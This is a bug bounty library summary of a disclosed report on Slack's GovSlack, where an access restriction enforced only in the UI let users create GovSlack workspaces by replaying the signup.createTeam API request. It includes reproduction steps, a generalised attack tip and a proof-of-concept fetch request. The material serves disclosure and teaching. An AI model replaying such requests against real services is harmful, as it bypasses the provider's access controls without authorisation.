# Unauthorized access to GovSlack

GovSlack signup was gated in UI but the shared signup.createTeam API accepted requests, letting any user self-provision a GovSlack workspace.

- Payout: $1,500
- Severity: medium
- Program: Slack
- Found by: violet
- Disclosed: 2023-05-19
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1758174
- Library page: https://bugbountylibrary.com/r/h1%3A1758174
- Tags: area:web domain:web impact:integrity impact:privesc kind:bounty platform:hackerone sev:medium technique:recon vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** slack-gov.com /api/signup.createTeam endpoint
**Root cause:** The createTeam API enforced GovSlack provisioning restrictions only in the UI flow, not server-side per-host, so replaying the slack.com signup request against slack-gov.com created a workspace.
**Steps:**
1. Log in to slack.com as a new user and start workspace creation; capture the POST to `https://slack.com/api/signup.createTeam` with multipart body (email_misc, tz, locale, last_tos_acknowledged, login, in_setup_experiment).
2. Visit slack-gov.com and attempt sign-in to obtain session cookies (workspace creation UI is disabled).
3. Replay the captured fetch with `credentials: include` against `https://slack-gov.com/api/signup.createTeam` using the GovSlack cookies.
4. Observe a new workspace created, e.g. `viomck.slack-gov.com`, granting GovSlack-only features.
**How found:** Noticed GovSlack disables workspace creation in the UI for new users, hypothesized the restriction was client-side, and replayed the slack.com signup API call against the GovSlack host.
**Exploitation:** Attacker with a normal Slack account and a GovSlack session cookie replays the same-origin signup.createTeam multipart request to the GovSlack host, bypassing the invite-only provisioning control and gaining a GovSlack instance.
**Insight:** When a product variant disables a feature in the UI, replay the sibling product's API call against the restricted host with that host's cookies; shared backend endpoints often lack per-tenant gating.

## Proof of concept (copied exactly from the original report)

**fetch POST to signup.createTeam creating GovSlack workspace**

```
await fetch("https://slack.com/api/signup.createTeam?_x_id=noversion-1667355054.372", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "multipart/form-data; boundary=---------------------------34111059701841183173198228768",
        "Sec-Fetch-Dest": "empty",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Site": "same-origin"
    },
    "referrer": "https://slack.com/get-started",
    "body": "-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"email_misc\"\r\n\r\ntrue\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"tz\"\r\n\r\nAmerica/Los_Angeles\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"locale\"\r\n\r\nen-US\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"last_tos_acknowledged\"\r\n\r\ntos_mar2018\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"login\"\r\n\r\ntrue\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"in_setup_experiment\"\r\n\r\ntrue\r\n-----------------------------34111059701841183173198228768--\r\n",
    "method": "POST",
    "mode": "cors"
});
```

